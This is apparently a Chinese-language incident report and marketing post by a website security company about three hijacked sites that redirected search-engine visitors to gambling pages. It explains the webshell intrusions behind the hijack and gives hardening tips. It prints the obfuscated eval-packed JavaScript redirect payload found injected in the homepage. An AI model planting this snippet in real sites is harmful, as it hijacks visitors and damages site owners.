一个单位服务器里的三个网站都被劫持跳转,客户反映在百度搜索关键词后点击进入网站直接被跳转到菠菜网站,直接在浏览器里输入网址是正常打开的,由于客户单位网站的领导比较重视这个被恶意劫持跳转的问题特别要求加班要抓紧处理解决掉这个网站安全问题,因为实在是对该单位网站的信誉以及客户的信任度损害的比较大。
网站被劫持跳转的问题分析
随即我们和该单位网站负责人进行了服务器信息以及网站信息的交接,由我们Sinesafe安全部门的技术主管团队进行了全面的网站安全检测以及漏洞检测以及木马后门和恶意跳转代码的审计工作,发现客户的3个网站都是用的主流网站开源程序php+mysql架构,由于客户之前老是被劫持跳转,删除恶意代码后没过多久就又被篡改了,反复性质的被篡改客户经常为此问题烦恼。首先得让网站正常访问不让网站从百度搜索直接跳转,那么这个跳转代码一般都会加在首页文件最顶部。打开首页文件查看下源代码就会看到加密的代码也就是跳转的代码如图:
type="text/java">eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c]);return p;}('l["ec1mi8n0"]["74908"]('h214930 0j38d608k05faa2149306 241d6s0032q55777b13ea2pb1ci5jo1bf26gh5214930g');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))
上述代码就是一个js判断来路跳转的代码。跳转到的网站截图如下:
客户单位另一个网站用的是dz论坛程序也是被跳转了,代码被修改加在了config目录下的config_global.php文件里
客户的第三个网站用的是dedecms系统,首页也是被增加了和上述第一张图的代码,随即我们先对这3个站点的恶意跳转代码进行了清除,使网站正常访问,到这里并不是解决掉了问题哦! 这只是单纯的删除恶意跳转的代码,因为根源问题是在程序有漏洞导致被黑客入侵上传了webshell俗称网站木马后门.因为之前客户就说过是反复性质的被篡改!清理掉后没过多久就又被篡改了。所以要对程序漏洞进行详细的漏洞修补和代码的安全审计以及后门木马的清理和服务器安全的防护设置,才能确保网站日后的正常运行。
对症下药找出问题根源进行网站漏洞修补
针对这三个网站的程序代码进行了全面的人工安全代码审计以及漏洞检测修补和后门木马的清理,发现dedecms和dz论坛的程序存在getshell和sql注入获取管理员账户和密码,以及上传绕过漏洞。另外一个站是因为服务器的目录安全权限没做好,导致可以跨目录写入才会导致这个站也被篡改了,所以说如果服务器安全没做好,网站安全即使做的再牛逼也毫无用处,我们Sinesafe能做的就是让客户少走弯路,省心省力保障客户网站的安全运行。
下面几个图片就是被上传的网站后门木马代码:
下面介绍几个日常用到的防范网站被黑被入侵篡改的建议
1.对服务器目录权限的安全部署,对管理员账号密码加密,尽可能设置的复杂一些,数字+大小写字母+特殊符号,对网站数据库进行分配普通权限账号。
2.mysql数据库默认端口3306,改为61116,并加入到端口安全策略,不对外开放,外网IP无法连接数据库,只有本地127.0.0.1才能进行连接数据库,以防止攻击者恶意猜测。
3.对服务器底层系统进行安全加固,包括远程端口登录的安全验证。
4.对网站代码进行整体的安全检测,包括定期的升级网站程序源代码,修复补丁以及网站漏洞。